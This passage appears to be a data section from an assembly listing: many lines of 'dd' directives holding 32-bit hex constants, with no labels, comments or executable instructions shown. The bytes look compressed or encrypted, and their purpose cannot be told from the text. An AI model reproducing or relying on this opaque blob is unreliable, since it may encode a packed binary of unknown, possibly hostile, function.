		dd 0E56D18Bh, 5780882Eh, 44A3900h, 53063572h, 0A09DF8BEh
		dd 188A00B8h, 5C882840h, 0AA009CADh, 5808420Bh,	0E6D8B7CBh
		dd 318107EEh, 0E04FFFE7h, 47AFCC7h, 0FE031B00h,	5CD72F89h
		dd 783B6014h, 9A0FD273h, 27017279h, 0CE2B1080h,	70D4E8D3h
		dd 790101A4h, 9125CF37h, 0B9803E0Ch, 896182h, 0B5595E3Eh
		dd 32DC1F6Ah, 7FC0AD1Fh
		dd 0EBBC8100h, 7911ABBh, 17410D88h, 8C1E6082h, 29000525h
		dd 2402D6F8h, 0C82D66h,	505553B4h, 22579856h, 0F00FB901h
		dd 612EA2AAh, 0B89D8DE0h, 0F6810054h, 0BC8BABF3h, 3E00E92Fh
		dd 0F4EE3B13h, 5E76F0h,	5A8FD15h, 8C5C8B38h, 4CFC831Ch
		dd 40430800h, 6089C53Bh, 0B9EBE819h, 0D006117h,	0F7282474h
		dd 7440698h, 62336815h,	0C71CD0FFh, 17CC849h, 890080ECh
		dd 656A8D18h, 0E0142708h, 2C340696h, 0D403E0D3h, 13DE8100h
		dd 0C43EF101h, 5187000Fh, 30B5788Eh, 0A870EC7Eh, 33C5D00h
		dd 10F983C3h, 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh
		dd 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh
		dd 0D88A28FBh, 0DAE9B9h, 0BD766C89h, 3981BF34h,	0BB661007h
		dd 89FB0714h, 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh
		dd 4A00A284h, 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h
		dd 0F049800h, 4295628Dh, 0FF960367h, 320DC0B6h,	26985B98h
		dd 1F046973h, 23824B11h, 61C98B80h, 0F13B1EEDh,	26807EB4h
		dd 0C12FC88Ah, 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h
		dd 373B0D87h, 0BCE2B328h, 47210A1Fh, 1F4C5E67h,	0FAC89741h
		dd 0B0AD3800h, 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h
		dd 8AA0EF30h, 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h
		dd 14CA6AE2h, 0DB00950h, 0B680F8C2h, 7817AEEFh,	7334F900h
		dd 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh, 0E325DC49h,	5CA65AC0h
		dd 64A42201h, 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh
		dd 0EBD38700h, 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h
		dd 30143F00h, 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h
		dd 0DC110D12h, 2EF03C02h, 0E8B0F00h, 843079C9h,	896F00FAh
		dd 961C410Ah, 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h
		dd 8E8BC107h, 31745389h, 598125D0h, 6212F400h, 4068D233h
		dd 70BCE6B7h, 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h
		dd 3E3DAh, 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h
		dd 0E8001FD1h, 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h
		dd 13900085h, 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h
		dd 81DEB9Bh, 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h
		dd 0E3AD2C03h, 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh
		dd 25013C0h, 527E5411h,	5295800h, 0C4860CDh, 0FAA6005Ch
		dd 0E8AACA81h, 967D8F18h, 27315F1Fh, 8B1103C3h,	8D29C8D9h
		dd 0CA6B0069h, 71CDD1C1h, 8A0055D0h, 1D4899BCh,	136BB28h
		dd 6A2C53ABh, 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h
		dd 8DED7213h, 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h
		dd 0D200F35h, 2C35943h,	6D316C62h, 8840098Dh, 15017310h
		dd 5203EDF3h, 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h
		dd 28007560h, 59A66A7Fh, 0C08318h, 4E7EF203h, 0F5FE8111h
		dd 48C07DE0h, 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h
		dd 96821100h, 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh
		dd 0C6501700h, 46E024A3h, 71480F65h, 0FC020EDh,	7B2738Ch
		dd 920EB700h, 104B053Dh, 0AB3A0052h, 24848D0Ah,	0A4003B29h
		dd 5045578Bh, 7C0C222Fh, 311718Ch, 3546D251h, 0BE02BC0h
		dd 640083C6h, 80DD98DFh, 0FA0451BCh, 2E7505CDh,	0C005DAFDh
		dd 2407EB80h, 39331B48h, 651200F5h, 0BE54D21Ch,	0E0587D6Eh
		dd 3D104C88h, 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h
		dd 0A0B8EEF0h, 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh
		dd 97908Dh, 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh
		dd 0E2324E52h, 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h
		dd 2303C5A7h, 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h
		dd 1E88BF1h, 971129Ch, 8D0600C1h, 0A3422E31h, 6500700h
		dd 21BF145Eh, 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h
		dd 0E9AB1000h, 32729B23h, 3C70BD2Ch, 5A8DCB00h,	0C1A9C14h
		dd 9A1501F5h, 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh
		dd 0C5CDD0C7h, 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h
		dd 80C092DAh, 0F4887Ah,	0D741529Ah, 0CA03140Bh,	89770600h
		dd 868A2411h, 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch
		dd 74F07EB8h, 0FF0083F6h, 715A7203h, 1E8D0502h,	44FD6Fh
		dd 4163166h, 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh
		dd 314A2789h, 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh
		dd 6A733882h, 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h
		dd 0E74387CDh, 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h
		dd 0A86C9A14h, 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h
		dd 25B3AB45h, 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah
		dd 5AB5629Eh, 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh
		dd 1552C862h, 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h
		dd 40B00644h, 8D413914h, 3B381D8Bh, 0DE9707C2h,	2BD00024h
		dd 8A3C40D1h, 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h
		dd 0C9F0BD13h, 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h,	0F286Eh
		dd 0C6AFC382h, 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h
		dd 0AB00E428h, 69B03CE8h, 850341A3h, 78843888h,	0CB47C370h
		dd 441007C4h, 0F0BB1173h, 1D4BDD82h, 9B00D271h,	27E75AFDh
		dd 0D190C3h, 406A8726h,	1E100668h, 84E3F900h, 2C1F62BAh
		dd 758EB002h, 307400F7h, 2E258380h, 0B53CF18Bh,	0A8178044h
		dd 15E1A7FCh, 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h
		dd 5FD73B11h, 7C543700h, 767E532Fh, 0B097FCEh, 57428758h
		dd 30ABA580h, 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h
		dd 0C8807F8h, 743D6224h, 4053FE00h, 70358B77h, 31300CEh
		dd 0EB0D68CCh, 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh
		dd 0D0FC5F12h, 0C6A63F00h, 0EFF91708h, 46F20Bh,	0FCF80FDh
		dd 0B8C1D9B7h, 83F2B900h, 2743EC7h, 822F0087h, 2757E181h
		dd 0D900C958h, 0C13BE440h, 1F7726h, 0DD021D6Eh,	0FA18D2CBh
		dd 0BA965307h, 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h
		dd 0BA754F81h, 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h
		dd 0F2530094h, 825A5B1h, 970E68B8h, 5E195DEDh, 78CB0E00h
		dd 387225Ah, 56824C75h,	539B425Bh, 724D45A8h, 18DB7F00h
		dd 24945A48h, 55890112h, 25E2E3AEh, 8FD040B9h, 0C00293Bh
		dd 97ADC65Fh, 6BC572h, 0C45B18A1h, 58A5DA88h, 95846007h
		dd 0FC0010C6h, 800203h,	0F3E4E938h, 11C9798h, 0C23A8300h
		dd 0C7405674h, 4A9300D4h, 4C35B20h, 48000D7Bh, 0DB2A5E52h
		dd 17A95AAh, 6F1CA5A3h,	0E8744DCEh, 0B80037D4h,	97778AE3h
		dd 839023h, 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh
		dd 70291FEEh, 9CEC0E9h,	0ADDC071Ah, 7100D9F4h, 0AEF00CB1h
		dd 3FF45174h, 0EE8031CBh, 8DA6C6ACh, 821D27AAh,	14C0C3F1h
		dd 0F5F20195h, 5C8500F6h, 0DD54029h, 9200519Dh,	0B2523E4Bh
		dd 3E9A776h, 29E5F810h,	0FCB8401Ch, 0ED58DBE8h,	0D5371E65h
		dd 89F4B841h, 3CE702F0h, 0B10FC458h, 8280A605h,	87453D80h
		dd 6F936400h, 6D37803h,	20050055h, 2608A11Bh, 44006209h
		dd 9811B34Ch, 7E750664h, 270C070Dh, 70B68DBFh, 8CF61471h
		dd 541A1500h, 0AC2EDC8Ah
		dd 789005Eh, 0A96C7952h, 44007C34h, 0E8170509h,	7AD95F7h
		dd 804893D8h, 875C05Dh,	141FCCD3h, 6C02CA3h, 18F7C62Dh
		dd 1D890017h, 0F9533BA1h, 0A6EC32CEh, 0AC21DE00h, 79E3184h
		dd 0A8363997h, 1D803AFAh, 74300E80h, 0B8327563h, 9D607700h
		dd 5CD24DB3h, 580A00B9h, 649C100Bh, 840F94A7h, 20309FAEh
		dd 42A9A824h, 0FF011E53h, 5780405Bh, 6F646E69h,	734B7705h
		dd 0C580DCAAh, 1353925h, 7FE43B7Dh, 7E4F1219h, 60C5AFB0h
		dd 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h, 4E433C69h
		dd 33F80154h, 7542252Eh, 344E7095h, 8057900h, 2306A32h
		dd 58700060h, 10258050h, 4C00FCBFh, 0C9987ECBh,	0F2C1997Fh
		dd 36BC002Bh, 29A97B84h, 0F4F4497Ah, 0DF535700h, 48E71CBBh
		dd 3E79722Dh, 2E00760Ch, 95D7F2F0h, 0B5001B7Fh,	0CAFF50D3h
		dd 0DF7126h, 33CD9214h,	474F5455h, 6843EC0Fh, 27A0008Ch
		dd 1A40A9h, 7D017F2Eh, 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h
		dd 34568B46h, 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h
		dd 5FC0EC2h, 0FE120100h, 0A93CEF2h, 0FC064F09h,	0DB642ED6h
		dd 5B15D803h, 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh
		dd 7600F6F8h, 199BB82h,	7A75251Ch, 4B0A0F42h, 0C200A7D4h
		dd 447B57FCh, 0A38F6950h, 22AF4500h, 7EDE0930h,	1AD6482Fh
		dd 55F0AC00h, 0BF5405D4h, 5700A975h, 4B780C73h,	4142ABh
		dd 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh
		dd 0DE20004h, 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h
		dd 1ABDAB52h, 6A986280h, 2153CCA5h, 0AC73F000h,	0BE927D33h
		dd 0C0AE00D5h, 0C7448D3h, 2A000FE6h, 17D88384h,	749C53E9h
		dd 67C40044h, 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h
		dd 134B008Dh, 0FEF6CCA1h, 85055729h, 8CBA9A3Fh,	0C951CE80h
		dd 0B3070105h, 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch
		dd 0B3980A34h, 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh
		dd 5203A358h, 0A552200h, 1D7E664Eh, 0C7101341h,	0B0279943h
		dd 3CEB2806h, 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh,	0C183BE5Ah
		dd 0A306B326h, 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h
		dd 0E4B000Dh, 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h
		dd 4DF94C57h, 42014400h, 41920CA5h, 0B4D8BF00h,	0EB15FF60h
		dd 111C4C28h, 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h
		dd 0A0094C0Fh, 1F1C800h, 4FE83202h, 0FE0BA100h,	287C0A6Ah
		dd 5E49002Fh, 92981062h, 972F7908h, 9E74AFh, 3D024429h
		dd 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah,	458A006Ah
		dd 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h
		dd 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h
		dd 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h,	7DA91A7Ch
		dd 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh
		dd 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh,	5700D102h
		dd 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h
		dd 94157C57h, 17780A87h, 0F2009077h, 1252988Eh,	9C2C39h
		dd 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h
		dd 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h
		dd 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h
		dd 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h,	52450F1Bh
		dd 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh
		dd 1AEE224h, 308298E9h,	0C83A41B0h, 4799B0Dh, 407F7700h
		dd 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h
		dd 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah
		dd 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h, 8300F818h
		dd 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h,	0F8347B59h
		dd 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh
		dd 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h,	65F27Eh
		dd 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h
		dd 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h, 806477h
		dd 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h,	0C82CB5h
		dd 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch
		dd 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h,	6F9B014Ah
		dd 57B42C33h, 6B72D813h, 61A20900h, 74797D92h, 9F833E49h
		dd 64F7600h, 41B10CBCh,	61FC6400h, 65633B6Eh, 19200029h
		dd 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh
		dd 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh
		dd 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h
		dd 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h
		dd 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch,	99D7841Dh
		dd 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh
		dd 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h
		dd 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h
		dd 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h,	8FEED912h
		dd 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h
		dd 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h
		dd 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h
		dd 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh
		dd 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h,	94F7FA3h
		dd 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h
		dd 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h
		dd 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h
		dd 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h
		dd 31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h
		dd 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch
		dd 3047D83h, 5570C09Bh,	0D0E70EC8h, 12BC62B8h, 0CAD95200h
		dd 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h,	0F601AF27h
		dd 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h
		dd 38840800h, 2761012h,	56E90009h, 33557EA5h, 6E1C8B78h
		dd 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh
		dd 18EC0C99h, 12A95A8h,	0AC0E495Fh, 0D8727D81h,	0FD007F63h
		dd 480FDF05h, 2EA4BF17h, 70A42E5h, 30EB3014h, 8CB8E88Ah
		dd 9C472C3Fh, 9BC03BE6h, 66AB55Fh, 0C455008Bh, 24A7FA5Ah
		dd 787BF1E9h, 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h
		dd 1A8C2114h, 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h
		dd 0C76ABDE8h, 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h
		dd 7C3BCCB8h, 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h,	0F202131Eh
		dd 0A0A30109h, 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h
		dd 429800E0h, 10F9C0Eh,	8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h
		dd 33C076E4h, 0D040B45Dh, 0D4961900h, 6138A03h,	0BEF93C48h
		dd 944E6F80h, 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h
		dd 740F00DBh, 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh
		dd 0C2750033h, 32F546E5h, 97008F22h, 2CC86692h,	3D81D140h
		dd 9183D80Ch, 4B0A5B6Bh, 4CB8490h, 1941CA00h, 8345A0EAh
		dd 0B4B80A62h
		dd 81AE1Eh, 6461C8BCh, 0DC009877h, 0CDC003EDh, 6280F0h
		dd 31E075EEh, 7C7E06FAh, 3EE66D58h, 30AA0044h, 8D985EE6h
		dd 18890235h, 5808050Bh, 810972C0h, 0DB033Fh, 8F8B9B1Ch
		dd 4BC32Bh, 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch
		dd 4CE208h, 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h
		dd 94BC2441h, 0F61E3Ah,	8B28BB3Ah, 48010537h, 2C438319h
		dd 42301221h, 14660030h, 16BE8B50h, 0FE00344Ah,	7B80DE02h
		dd 0D6C103h, 0F2B0576Eh, 0EA52BA68h, 5900D5ECh,	0F84E8D6Dh
		dd 6C0394Ah, 7705F980h,	49FAFC51h, 1904DAFAh, 1708B710h
		dd 29C01E87h, 0B8913248h, 89560009h, 33EB684Bh,	7A1CC72Bh
		dd 6E407980h, 1081322h,	88191D90h, 1E101D02h, 3E071E04h
		dd 0CEF62780h, 0DE89F1Bh, 850F240Bh, 8A3980CCh,	73E43h
		dd 1D74052Ch, 4F83C8FEh, 0F50EE3Ah, 0D488FA08h,	842E00BCh
		dd 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch, 87000FC6h, 369C37B7h
		dd 48F38918h, 8009939h,	0C8C111ADh, 8E00D509h, 14550E9h
		dd 0FA1833FDh, 25F822h,	367B8D05h, 0EB1354BEh, 5C9DA30Fh
		dd 17E980C3h, 14801ABh,	425E8414h, 0EDE4F2B4h, 5CBCE488h
		dd 74F244F2h, 5026A9F2h, 57038171h, 0B80B20EDh,	3E548602h
		dd 6583C976h, 37A608BAh, 0CEE4B898h, 0B9364404h, 1380810Ch
		dd 7614868Ah, 5D450349h, 97D45942h, 0BDA400F5h,	93208BF1h
		dd 0E807CC98h, 2D121AD3h, 864814C0h, 0A9910077h, 0EB2A8A3Bh
		dd 11012C3Ch, 1408F534h, 68F85F64h, 1B3B0178h, 0BE0A0960h
		dd 5310601Dh, 0E200287Fh, 4A4B9734h, 9C5A7h, 91160722h
		dd 0D40B944Fh, 0ED145Ch, 136DA48Fh, 0E274067Ch,	4409000Eh
		dd 3E882E1Eh, 500056EBh, 0B7C4A28Ch, 33C6A65h, 0D689AFF7h
		dd 0E6A01499h, 6300ACD9h, 4D4BFCB8h, 0BADCFFh, 0B2365C43h
		dd 0EB2B5A20h, 7CD7F07h, 47332C0Ah, 81069017h, 1D3A9024h
		dd 4014C95Fh, 0E57C115Dh, 4C00210Eh, 3BF23C10h,	264B22BCh
		dd 19142Ah, 74D807C8h, 900785BEh, 68B2A4F0h, 0E6BB4160h
		dd 9FB0000Ah, 0BCB95D09h, 0C3004916h, 25856C03h, 0C4001h
		dd 36383420h, 0B6587644h, 630011ECh, 0B5C2EF75h, 14302B01h
		dd 0ECFA5390h, 2E0F323Ch, 0FD660D4h, 80BDCAE7h,	7257865Fh
		dd 2DE06269h, 63614200h, 6E45206Bh, 3568005Eh, 56A47A57h
		dd 3400291Ch, 505B7660h, 695D03h, 2F856D75h, 0D4309401h
		dd 535E3Ah, 0C2E349BCh,	436517h, 0B6B2BE1Ch, 6D90B56Eh
		dd 58007298h, 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h
		dd 11905098h, 4D002809h, 8C27646Fh, 295525h, 0A534482Ch
		dd 0CD9AFAD8h, 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h
		dd 4264A128h, 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h
		dd 0A87C4027h, 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh
		dd 0E0B9C45Eh, 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh
		dd 69E0BF80h, 8DD4468Ah, 0A074020Eh, 50137D09h,	0B01E005Ch
		dd 114B9487h, 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h
		dd 0B0481732h, 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh
		dd 479430Bh, 4CCA7831h,	2000E698h, 76324D58h, 0EE476113h
		dd 957C002Eh, 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh
		dd 584D5Ah, 5E2D48Fh, 93D30A29h, 0BF00CB7Ah, 0C1901512h
		dd 7850B346h, 9443072Ch, 117ABC49h, 0C0F78498h,	3000540h
		dd 8788021h, 0E8F0110h,	0EAA90750h, 0FE09BBC1h,	0E9D260CAh
		dd 0B1793113h, 2078E700h, 3E429C7Ah, 8880C6C1h,	0C0219829h
		dd 832E084Eh, 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h
		dd 5B0799F3h, 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh
		dd 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h, 875C1175h,	88649002h
		dd 0E353798Ch, 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h
		dd 84790F3Ch, 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh
		dd 290E5228h, 7972E820h, 22351803h, 0B985ADF4h,	8AE04B2Dh
		dd 302C0ED4h, 0DC60A9D3h, 32FC3143h, 33F98700h,	0F124E50Bh
		dd 0F57C03CBh, 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h
		dd 3955E8h, 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah
		dd 76968CBh, 587F8470h,	0C3E4435Ch, 6007E8C3h, 0EC100146h
		dd 6404B290h, 0F0F251h,	725411D8h, 736E6103h, 74656D00h
		dd 437C19B6h, 775727Bh,	0DC34916Fh, 54CC429Dh, 8AABD540h
		dd 320B9501h, 5C19580Ch, 0F8EB60D1h, 984662A5h,	0C627018Eh
		dd 86774B85h, 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h
		dd 3641378h, 45287C14h,	780521Fh, 0DC008496h, 0E8C0C68Fh
		dd 570400ABh, 32517353h, 76765652h, 0FAB32F04h,	218068DBh
		dd 1624884h, 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h
		dd 559F8CC0h, 4D0390h, 0C87D8194h, 716E6547h, 1B6F7500h
		dd 1E69EF12h, 90493B9Eh, 0AF942785h, 70FE808Dh,	331F8471h
		dd 41C069EBh, 0D6874F9h, 94101C38h, 0A3634724h,	30451ABh
		dd 9152E4EBh, 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h
		dd 102A6461h, 0EB024124h, 8248110Eh, 0F8832080h, 9565095h
		dd 0B657E90Eh, 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh,	8C463F4Fh
		dd 1A029100h, 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh
		dd 0C1007B69h, 873DF441h, 50D3622h, 3E25C889h, 4B8C042h
		dd 0F03F6373h, 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h
		dd 0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh
		dd 30B62A12h, 1A93867h,	59510A0Fh, 658FA0B8h, 1C1745FEh
		dd 7F06BD80h, 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah
		dd 2B52A19h, 0CB7516h, 69307659h, 80E06704h, 0E9E46D00h
		dd 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h
		dd 0C114EE6Ah, 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h
		dd 282993h, 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h
		dd 4B829AEh, 2B641F03h,	0B6AB8072h, 0BEE8BA08h,	0C3CDCFBh
		dd 0C2408E03h, 83CA81C6h, 8705E0CEh, 18ED009Ah,	4C331E45h
		dd 48000666h, 10EBC1F6h, 18F44E0Fh, 0AECF25AAh,	4301B738h
		dd 1E3F7EA1h, 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh
		dd 157AE66Bh, 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h
		dd 5B7A592Ah, 19CD58A8h, 8C55D800h, 0E89F51B9h,	0B7280016h
		dd 5CBA0B4Eh, 4801FBC9h, 1B8D108Bh, 0A6D8E974h,	0FC7540h
		dd 0AD9B914h, 354A5C20h, 44008874h, 73102B74h, 7658B2AEh
		dd 0BC30E717h, 1C0D0059h, 0EBB0404Bh, 1A075E65h, 21322A54h
		dd 0ACA41040h, 0B34500A7h, 0B4114E6Ch, 98F019C9h, 9C3040BDh
		dd 1E5700B6h, 8C3DA1BCh, 0C000BEA0h, 7D258D13h,	73B30A2h
		dd 0B5F8FB8Bh, 0C0FA67A3h, 22C33657h, 0D2C94D00h, 8CBFECFh
		dd 17AB0082h, 0EA34DC5Dh, 87002C45h, 597E294Bh,	1184A1Bh
		dd 0BA9444CBh, 0F732B937h, 78921207h, 6E9473E4h, 3582CA09h
		dd 0B1404D54h, 30FD3896h, 285C0CFCh, 83090115h,	5054A4C4h
		dd 0FECB59C4h, 0B08D0016h, 0BA2DC935h, 7E0EEE24h, 0C0501FCFh
		dd 0A016484Fh, 5EA30096h, 8771D7D4h, 0D87E85F4h, 1CDC0800h
		dd 0B1569FA2h, 869400E4h, 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh
		dd 1100B26h, 3D801499h,	2AE15B18h, 0A4EFB0h, 98CE92BFh
		dd 7E591277h, 0B409C401h
		dd 25A656A3h, 0F26AC9CCh, 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh
		dd 99C0A543h, 0DF09D611h, 0BEE85C10h, 0F101330Fh, 3BFFA6Eh
		dd 221A390Ah, 0F8442AA9h, 0EB00883Ch, 5C61976h,	2601E7A0h
		dd 0FA96DE5h, 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h
		dd 0E65B800h, 391048BCh, 0CC00059h, 0C4908529h,	156719C8h
		dd 54F02006h, 722CCh, 3209D081h, 0CB60C41Bh, 4F2EAA00h
		dd 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h, 3B00E2EBh, 65AC82EDh
		dd 923B5F00h, 0FC0A7185h, 0D27E9564h, 0F02CF406h, 0B7EC0076h
